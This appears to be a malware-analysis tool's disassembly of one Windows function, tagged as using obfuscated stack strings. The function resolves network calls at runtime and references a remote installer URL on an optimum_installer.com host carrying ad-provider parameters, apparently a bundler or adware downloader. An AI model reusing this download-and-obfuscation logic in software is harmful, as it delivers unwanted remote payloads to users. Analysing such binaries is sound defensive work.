Function at 0x40bba0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44643e
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x56ec
call fcn.0043b550
mov eax, dword [0x454364]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x557c], ecx
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x94]
call fcn.004020a0
mov byte [ebp - 4], 1
mov dword [ebp - 0x150], 0
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0x4fbc], 0
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x4fb8], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x148], 1
mov dword [ebp - 0x98], 1
lea ecx, [ebp - 0x78]
call fcn.00410710
mov byte [ebp - 4], 2
push 0x44e3b4
lea ecx, [ebp - 0xc0]
call fcn.00402000
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x557c]
mov dword [ecx + 0x150], fcn.00406050
lea edx, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov ecx, dword [ebp - 0x557c]
mov edx, dword [ecx + 0x150]
mov dword [eax], edx
lea ecx, [ebp - 0x94]
call fcn.0040fde0
movzx eax, al
test eax, eax
je 0x40bda9
push 0x2f
lea ecx, [ebp - 0x51dc]
push ecx
lea edx, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x5580], eax
mov ecx, dword [ebp - 0x5580]
mov dword [ebp - 0x5584], ecx
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x5584]
push edx
lea ecx, [ebp - 0x4fd8]
call fcn.004020a0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x51dc]
call fcn.004020e0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x51e0], esp
push 0x44e3c4
call fcn.00402000
mov dword [ebp - 0x5588], eax
mov eax, dword [ebp - 0x5588]
mov dword [ebp - 0x558c], eax
mov byte [ebp - 4], 7
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x51e4], esp
push 0x44e3c8
call fcn.00402000
mov dword [ebp - 0x5590], eax
mov ecx, dword [ebp - 0x5590]
mov dword [ebp - 0x5594], ecx
mov byte [ebp - 4], 8
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x51e8], esp
lea edx, [ebp - 0x4fd8]
push edx
call fcn.004020a0
mov dword [ebp - 0x5598], eax
push 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x557c]
call fcn.0040d630
push str.http:__install.optimum_installer.com_o_7zip_setup.exe_modedlshiftadproviderdefault
lea ecx, [ebp - 0x94]
call fcn.0040fcb0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x4fd8]
call fcn.004020e0
mov eax, dword [ebp - 0x557c]
movzx ecx, byte [eax + 0x78]
test ecx, ecx
je 0x40be18
push 0x20
lea edx, [ebp - 0x5204]
push edx
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x78]
call fcn.00410740
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x559c], eax
mov edx, dword [ebp - 0x559c]
mov dword [ebp - 0x55a0], edx
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x55a0]
push eax
lea ecx, [ebp - 0x4ff4]
call fcn.004020a0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x5204]
call fcn.004020e0
lea ecx, [ebp - 0x4ff4]
call fcn.004020e0
push 0x28
lea ecx, [ebp - 0x5224]
push ecx
lea edx, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x55a4], eax
push 0
mov ecx, dword [ebp - 0x55a4]
push ecx
lea ecx, [ebp - 0x94]
call fcn.0040fe00
xor edx, edx
cmp eax, dword [0x44ea5c]
setne dl
mov byte [ebp - 0x5205], dl
lea ecx, [ebp - 0x5224]
call fcn.004020e0
movzx eax, byte [ebp - 0x5205]
test eax, eax
je 0x40be82
mov ecx, dword [ebp - 0x557c]
mov byte [ecx + 0x79], 1
push 0xe
lea edx, [ebp - 0x5240]
push edx
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x78]
call fcn.00410740
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x55a8], eax
mov edx, dword [ebp - 0x55a8]
mov dword [ebp - 0x55ac], edx
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x55ac]
push eax
lea ecx, [ebp - 0x144]
call fcn.004020a0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x5240]
call fcn.004020e0
lea ecx, [ebp - 0x144]
call fcn.00402180
mov dword [ebp - 0x128], eax
mov ecx, dword [ebp - 0x128]
push ecx
mov edx, dword [ebp - 0x557c]
mov eax, dword [edx + 0x134]
push eax
mov ecx, dword [ebp - 0x557c]
call fcn.0040ba50
mov dword [ebp - 0x4f84], eax
cmp dword [ebp - 0x4f84], 0
jne 0x40c019
push 0x2e
lea ecx, [ebp - 0x525c]
push ecx
lea edx, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x55b0], eax
mov ecx, dword [ebp - 0x55b0]
mov dword [ebp - 0x55b4], ecx
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x55b4]
push edx
lea ecx, [ebp - 0x5010]
call fcn.004020a0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x525c]
call fcn.004020e0
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x5260], esp
push eax
mov ecx, dword [ebp - 0x557c]
call fcn.0040e810
mov dword [ebp - 0x55b8], eax
mov ecx, dword [ebp - 0x55b8]
mov dword [ebp - 0x55bc], ecx
mov byte [ebp - 4], 0x10
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5264], esp
push 0x44e47c
call fcn.00402000
mov dword [ebp - 0x55c0], eax
mov edx, dword [ebp - 0x55c0]
mov dword [ebp - 0x55c4], edx
mov byte [ebp - 4], 0x11
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x5268], esp
push 0x44e480
lea ecx, [ebp - 0x5010]
push ecx
push eax
call fcn.0041ad10
add esp, 0xc
mov dword [ebp - 0x55c8], eax
push 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x557c]
call fcn.0040d630
mov dword [ebp - 0x98], 0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x5010]
call fcn.004020e0
mov byte [ebp - 0xa4], 0x15
mov byte [ebp - 0xa3], 0x29
mov byte [ebp - 0xa2], 0x28
mov byte [ebp - 0xa1], 0x32
mov byte [ebp - 0xa0], 0x61
mov byte [ebp - 0x9f], 0x28
mov byte [ebp - 0x9e], 0x32
mov byte [ebp - 0x9d], 0x61
mov byte [ebp - 0x9c], 0x70
mov byte [ebp - 0x9b], 0x74
push 0xa
lea edx, [ebp - 0xa4]
push edx
lea eax, [ebp - 0x5284]
push eax
mov ecx, dword [ebp - 0x557c]
call fcn.004073d0
mov dword [ebp - 0x55cc], eax
mov ecx, dword [ebp - 0x55cc]
mov dword [ebp - 0x55d0], ecx
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x55d0]
call fcn.00402180
push eax
lea ecx, [ebp - 0x144]
call fcn.0040fcb0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x5284]
call fcn.004020e0
lea ecx, [ebp - 0x144]
call fcn.00404c60
mov dword [ebp - 0xc8], eax
push 0xf
lea edx, [ebp - 0x52a0]
push edx
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x78]
call fcn.00410740
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x55d4], eax
mov edx, dword [ebp - 0x55d4]
mov dword [ebp - 0x55d8], edx
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x55d8]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
push 0
lea ecx, [ebp - 0x144]
call fcn.0040fd20
push eax
lea ecx, [ebp - 0x30]
call fcn.004020a0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x52a0]
call fcn.004020e0
lea ecx, [ebp - 0x30]
call fcn.00402180
mov dword [ebp - 0x128], eax
mov edx, dword [ebp - 0x128]
push edx
mov eax, dword [ebp - 0x557c]
mov ecx, dword [eax + 0x134]
push ecx
mov ecx, dword [ebp - 0x557c]
call fcn.0040ba50
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x40c26d
push 0x2e
lea edx, [ebp - 0x52bc]
push edx
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x78]
call fcn.00410740
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x55dc], eax
mov edx, dword [ebp - 0x55dc]
mov dword [ebp - 0x55e0], edx
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x55e0]
push eax
lea ecx, [ebp - 0x502c]
call fcn.004020a0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x52bc]
call fcn.004020e0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x52c0], esp
push ecx
mov ecx, dword [ebp - 0x557c]
call fcn.0040e810
mov dword [ebp - 0x55e4], eax
mov edx, dword [ebp - 0x55e4]
mov dword [ebp - 0x55e8], edx
mov byte [ebp - 4], 0x19
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x52c4], esp
push 0x44e484
call fcn.00402000
mov dword [ebp - 0x55ec], eax
mov eax, dword [ebp - 0x55ec]
mov dword [ebp - 0x55f0], eax
mov byte [ebp - 4], 0x1a
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x52c8], esp
push 0x44e488
lea edx, [ebp - 0x502c]
push edx
push ecx
call fcn.0041ad10
add esp, 0xc
mov dword [ebp - 0x55f4], eax
push 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x557c]
call fcn.0040d630
mov dword [ebp - 0x98], 0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x502c]
call fcn.004020e0
mov byte [ebp - 0x4fb4], 0x15
mov byte [ebp - 0x4fb3], 0x29
mov byte [ebp - 0x4fb2], 0x28
mov byte [ebp - 0x4fb1], 0x32
mov byte [ebp - 0x4fb0], 0x61
mov byte [ebp - 0x4faf], 0x28
mov byte [ebp - 0x4fae], 0x32
mov byte [ebp - 0x4fad], 0x61
mov byte [ebp - 0x4fac], 0x70
mov byte [ebp - 0x4fab], 0x77
push 0xa
lea eax, [ebp - 0x4fb4]
push eax
lea ecx, [ebp - 0x52e4]
push ecx
mov ecx, dword [ebp - 0x557c]
call fcn.004073d0
mov dword [ebp - 0x55f8], eax
mov edx, dword [ebp - 0x55f8]
mov dword [ebp - 0x55fc], edx
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x55fc]
call fcn.00402180
push eax
lea ecx, [ebp - 0x144]
call fcn.0040fcb0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x52e4]
call fcn.004020e0
lea ecx, [ebp - 0x144]
call fcn.00404c60
mov dword [ebp - 0x158], eax
push 0x10
lea eax, [ebp - 0x5300]
push eax
lea ecx, [ebp - 0xc0]
push ecx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov edx, dword [eax]
call edx
add esp, 8
mov dword [ebp - 0x5600], eax
mov eax, dword [ebp - 0x5600]
mov dword [ebp - 0x5604], eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x5604]
push ecx
mov edx, dword [ebp - 0x158]
push edx
push 0
lea ecx, [ebp - 0x144]
call fcn.0040fd20
push eax
lea ecx, [ebp - 0x30]
call fcn.00402100
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x5300]
call fcn.004020e0
lea ecx, [ebp - 0x30]
call fcn.00402180
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x557c]
mov edx, dword [ecx + 0x134]
push edx
mov ecx, dword [ebp - 0x557c]
call fcn.0040ba50
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jne 0x40c4c1
push 0x2e
lea eax, [ebp - 0x531c]
push eax
lea ecx, [ebp - 0xc0]
push ecx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov edx, dword [eax]
call edx
add esp, 8
mov dword [ebp - 0x5608], eax
mov eax, dword [ebp - 0x5608]
mov dword [ebp - 0x560c], eax
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x560c]
push ecx
lea ecx, [ebp - 0x5048]
call fcn.004020a0
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x531c]
call fcn.004020e0
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x5320], esp
push edx
mov ecx, dword [ebp - 0x557c]
call fcn.0040e810
mov dword [ebp - 0x5610], eax
mov eax, dword [ebp - 0x5610]
mov dword [ebp - 0x5614], eax
mov byte [ebp - 4], 0x20
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5324], esp
push 0x44e48c
call fcn.00402000
mov dword [ebp - 0x5618], eax
mov ecx, dword [ebp - 0x5618]
mov dword [ebp - 0x561c], ecx
mov byte [ebp - 4], 0x21
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x5328], esp
push 0x44e490
lea eax, [ebp - 0x5048]
push eax
push edx
call fcn.0041ad10
add esp, 0xc
mov dword [ebp - 0x5620], eax
push 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x557c]
call fcn.0040d630
mov dword [ebp - 0x98], 0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x5048]
call fcn.004020e0
mov byte [ebp - 0x124], 0x15
mov byte [ebp - 0x123], 0x29
mov byte [ebp - 0x122], 0x28
mov byte [ebp - 0x121], 0x32
mov byte [ebp - 0x120], 0x61
mov byte [ebp - 0x11f], 0x28
mov byte [ebp - 0x11e], 0x32
mov byte [ebp - 0x11d], 0x61
mov byte [ebp - 0x11c], 0x70
mov byte [ebp - 0x11b], 0x76
push 0xa
lea ecx, [ebp - 0x124]
push ecx
lea edx, [ebp - 0x5344]
push edx
mov ecx, dword [ebp - 0x557c]
call fcn.004073d0
mov dword [ebp - 0x5624], eax
mov eax, dword [ebp - 0x5624]
mov dword [ebp - 0x5628], eax
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x5628]
call fcn.00402180
push eax
lea ecx, [ebp - 0x144]
call fcn.0040fcb0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x5344]
call fcn.004020e0
lea ecx, [ebp - 0x144]
call fcn.00404c60
mov dword [ebp - 0x54], eax
push 0x11
lea ecx, [ebp - 0x5360]
push ecx
lea edx, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x562c], eax
mov ecx, dword [ebp - 0x562c]
mov dword [ebp - 0x5630], ecx
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0x5630]
push edx
mov eax, dword [ebp - 0x54]
push eax
push 0
lea ecx, [ebp - 0x144]
call fcn.0040fd20
push eax
lea ecx, [ebp - 0x30]
call fcn.00402100
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x5360]
call fcn.004020e0
lea ecx, [ebp - 0x30]
call fcn.00402180
mov dword [ebp - 0x128], eax
mov ecx, dword [ebp - 0x128]
push ecx
mov edx, dword [ebp - 0x557c]
mov eax, dword [edx + 0x134]
push eax
mov ecx, dword [ebp - 0x557c]
call fcn.0040ba50
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0
jne 0x40c70f
push 0x2e
lea ecx, [ebp - 0x537c]
push ecx
lea edx, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x5634], eax
mov ecx, dword [ebp - 0x5634]
mov dword [ebp - 0x5638], ecx
mov byte [ebp - 4], 0x24
mov edx, dword [ebp - 0x5638]
push edx
lea ecx, [ebp - 0x5064]
call fcn.004020a0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x537c]
call fcn.004020e0
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x5380], esp
push eax
mov ecx, dword [ebp - 0x557c]
call fcn.0040e810
mov dword [ebp - 0x563c], eax
mov ecx, dword [ebp - 0x563c]
mov dword [ebp - 0x5640], ecx
mov byte [ebp - 4], 0x27
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5384], esp
push 0x44e494
call fcn.00402000
mov dword [ebp - 0x5644], eax
mov edx, dword [ebp - 0x5644]
mov dword [ebp - 0x5648], edx
mov byte [ebp - 4], 0x28
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x5388], esp
push 0x44e498
lea ecx, [ebp - 0x5064]
push ecx
push eax
call fcn.0041ad10
add esp, 0xc
mov dword [ebp - 0x564c], eax
push 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x557c]
call fcn.0040d630
mov dword [ebp - 0x98], 0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x5064]
call fcn.004020e0
cmp dword [ebp - 0x98], 0
jne 0x40c781
mov dword [ebp - 0x538c], 0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x30]
call fcn.004020e0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x144]
call fcn.004020e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc0]
call fcn.004020e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78]
call fcn.00406a00
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x94]
call fcn.004020e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004020e0
mov eax, dword [ebp - 0x538c]
jmp 0x40d5f6
push 0x2c
lea edx, [ebp - 0x53a8]
push edx
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x78]
call fcn.00410740
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x5650], eax
mov edx, dword [ebp - 0x5650]
mov dword [ebp - 0x5654], edx
mov byte [ebp - 4], 0x29
mov eax, dword [ebp - 0x5654]
push eax
lea ecx, [ebp - 0xe4]
call fcn.004020a0
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x53a8]
call fcn.004020e0
lea ecx, [ebp - 0xe4]
call fcn.00402180
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
push ecx
lea ecx, [ebp - 0x4fa8]
call fcn.00402000
mov byte [ebp - 4], 0x2c
push 0x20
lea ecx, [ebp - 0x4fa8]
call fcn.00404c60
push eax
lea ecx, [ebp - 0x108]
call fcn.0040ecf0
mov byte [ebp - 4], 0x2d
lea edx, [ebp - 0x53b0]
push edx
lea ecx, [ebp - 0x108]
call fcn.0040edf0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x53b8]
push eax
lea ecx, [ebp - 0x4fa8]
call fcn.0040fd80
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x53c0]
push eax
lea ecx, [ebp - 0x4fa8]
call fcn.0040fd50
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x53c8]
push eax
call fcn.0041ac30
add esp, 0x1c
lea ecx, [ebp - 0x108]
call fcn.0040ee90
mov dword [ebp - 0x114], eax
push 0
push 0
push 0
push 1
mov ecx, dword [ebp - 0x114]
push ecx
call dword [ebp - 0x4f84]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
jne 0x40ca38
push 0x2e
lea edx, [ebp - 0x53e4]
push edx
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x78]
call fcn.00410740
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x5658], eax
mov edx, dword [ebp - 0x5658]
mov dword [ebp - 0x565c], edx
mov byte [ebp - 4], 0x2e
mov eax, dword [ebp - 0x565c]
push eax
lea ecx, [ebp - 0x5080]
call fcn.004020a0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x53e4]
call fcn.004020e0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x53e8], esp
push ecx
mov ecx, dword [ebp - 0x557c]
call fcn.0040e810
mov dword [ebp - 0x5660], eax
mov edx, dword [ebp - 0x5660]
mov dword [ebp - 0x5664], edx
mov byte [ebp - 4], 0x31
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x53ec], esp
push 0x44e49c
call fcn.00402000
mov dword [ebp - 0x5668], eax
mov eax, dword [ebp - 0x5668]
mov dword [ebp - 0x566c], eax
mov byte [ebp - 4], 0x32
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x53f0], esp
push 0x44e4a0
lea edx, [ebp - 0x5080]
push edx
push ecx
call fcn.0041ad10
add esp, 0xc
mov dword [ebp - 0x5670], eax
push 0
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0x557c]
call fcn.0040d630
mov dword [ebp - 0x53f4], 0
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x5080]
call fcn.004020e0
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x108]
call fcn.0040ed70
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x4fa8]
call fcn.004020e0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xe4]
call fcn.004020e0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x30]
call fcn.004020e0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x144]
call fcn.004020e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc0]
call fcn.004020e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78]
call fcn.00406a00
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x94]
call fcn.004020e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004020e0
mov eax, dword [ebp - 0x53f4]
jmp 0x40d5f6
push 4
lea eax, [ebp - 0x58]
push eax
push 0x41
mov ecx, dword [ebp - 0x150]
push ecx
call dword [0x4471a0]
mov dword [ebp - 0x4f88], eax
mov dword [ebp - 0x154], 0xea60
push 4
lea edx, [ebp - 0x154]
push edx
push 6
mov eax, dword [ebp - 0x150]
push eax
call dword [0x4471a0]
push 0x20
lea ecx, [ebp - 0x94]
call fcn.00404c60
push eax
lea ecx, [ebp - 0x50]
call fcn.0040ecf0
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x53fc]
push ecx
lea ecx, [ebp - 0x50]
call fcn.0040edf0
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x5404]
push ecx
lea ecx, [ebp - 0x94]
call fcn.0040fd80
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x540c]
push ecx
lea ecx, [ebp - 0x94]
call fcn.0040fd50
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x5414]
push ecx
call fcn.0041ac30
add esp, 0x1c
lea ecx, [ebp - 0x50]
call fcn.0040ee90
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0x4f88], 0
jne 0x40ceb6
call dword [0x447034]
cmp eax, 0x2ee9
jne 0x40ceb6
mov byte [ebp - 4], 0x34
push 0
push 0x84000000
push 0
push 0
mov edx, dword [ebp - 0xec]
push edx
mov eax, dword [ebp - 0x150]
push eax
call dword [ebp - 0x10c]
mov dword [ebp - 0x5674], eax
mov ecx, dword [ebp - 0x5674]
mov dword [ebp - 0xe8], ecx
jmp 0x40cbc5
mov dword [ebp - 4], 0x33
cmp dword [ebp - 0xe8], 0
jne 0x40ceb1
mov eax, dword [ebp - 0x557c]
movzx ecx, byte [eax + 0x78]
test ecx, ecx
je 0x40cd01
mov byte [ebp - 4], 0x37
push 0
push 0x84000000
push 0
push 0
mov edx, dword [ebp - 0xec]
push edx
mov eax, dword [ebp - 0x150]
push eax
call dword [ebp - 0x10c]
mov dword [ebp - 0x5680], eax
mov ecx, dword [ebp - 0x5680]
mov dword [ebp - 0xe8], ecx
jmp 0x40cc90
mov dword [ebp - 4], 0x33
cmp dword [ebp - 0xe8], 0
jne 0x40cd01
push 0x24
lea ecx, [ebp - 0x5468]
push ecx
lea edx, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x568c], eax
mov ecx, dword [ebp - 0x568c]
mov dword [ebp - 0x5690], ecx
mov byte [ebp - 4], 0x3a
mov edx, dword [ebp - 0x5690]
push edx
lea ecx, [ebp - 0x50d4]
call fcn.004020a0
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x5468]
call fcn.004020e0
lea ecx, [ebp - 0x50d4]
call fcn.004020e0
cmp dword [ebp - 0xe8], 0
jne 0x40ceb1
mov eax, dword [ebp - 0x150]
push eax
call dword [ebp - 0xc4]
push 0x2e
lea ecx, [ebp - 0x5484]
push ecx
lea edx, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x78]
call fcn.00410740
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x5694], eax
mov ecx, dword [ebp - 0x5694]
mov dword [ebp - 0x5698], ecx
mov byte [ebp - 4], 0x3b
mov edx, dword [ebp - 0x5698]
push edx
lea ecx, [ebp - 0x50f0]
call fcn.004020a0
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x5484]
call fcn.004020e0
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x5488], esp
push eax
mov ecx, dword [ebp - 0x557c]
call fcn.0040e810
mov dword [ebp - 0x569c], eax
mov ecx, dword [ebp - 0x569c]
mov dword [ebp - 0x56a0], ecx
mov byte [ebp - 4], 0x3e
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x548c], esp
push 0x44e4a4
call fcn.00402000
mov dword [ebp - 0x56a4], eax
mov edx, dword [ebp - 0x56a4]
mov dword [ebp - 0x56a8], edx
mov byte [ebp - 4], 0x3f
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x5490], esp
push 0x44e4a8
lea ecx, [ebp - 0x50f0]
push ecx
push eax
call fcn.0041ad10
add esp, 0xc
mov dword [ebp - 0x56ac], eax
push 0
mov byte [ebp - 4], 0x3d
mov ecx, dword [ebp - 0x557c]
call fcn.0040d630
mov dword [ebp - 0x5494], 0
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x50f0]
call fcn.004020e0
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x50]
call fcn.0040ed70
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x108]
call fcn.0040ed70
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x4fa8]
call fcn.004020e0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xe4]
call fcn.004020e0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x30]
call fcn.004020e0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x144]
call fcn.004020e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc0]
call fcn.004020e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78]
call fcn.00406a00
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x94]
call fcn.004020e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004020e0
mov eax, dword [ebp - 0x5494]
jmp 0x40d5f6
jmp 0x40d377
push 0x31
lea edx, [ebp - 0x54b0]
push edx
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x78]
call fcn.00410740
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x56b0], eax
mov edx, dword [ebp - 0x56b0]
mov dword [ebp - 0x56b4], edx
mov byte [ebp - 4], 0x40
mov eax, dword [ebp - 0x56b4]
push eax
lea ecx, [ebp - 0x5128]
call fcn.004020a0
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x54b0]
call fcn.004020e0
push 0x20
lea ecx, [ebp - 0x5128]
call fcn.00404c60
push eax
lea ecx, [ebp - 0x510c]
call fcn.0040ecf0
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x54b8]
push ecx
lea ecx, [ebp - 0x510c]
call fcn.0040edf0
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x54c0]
push ecx
lea ecx, [ebp - 0x5128]
call fcn.0040fd80
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x54c8]
push ecx
lea ecx, [ebp - 0x5128]
call fcn.0040fd50
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x54d0]
push ecx
call fcn.0041ac30
add esp, 0x1c
lea ecx, [ebp - 0x510c]
call fcn.0040ee90
mov dword [ebp - 0x512c], eax
mov byte [ebp - 4], 0x44
push 0
push 0x84000000
push 0xffffffffffffffff
mov edx, dword [ebp - 0x512c]
push edx
mov eax, dword [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0x150]
push ecx
call dword [ebp - 0x10c]
mov dword [ebp - 0x56b8], eax
mov edx, dword [ebp - 0x56b8]
mov dword [ebp - 0xe8], edx
jmp 0x40d04c
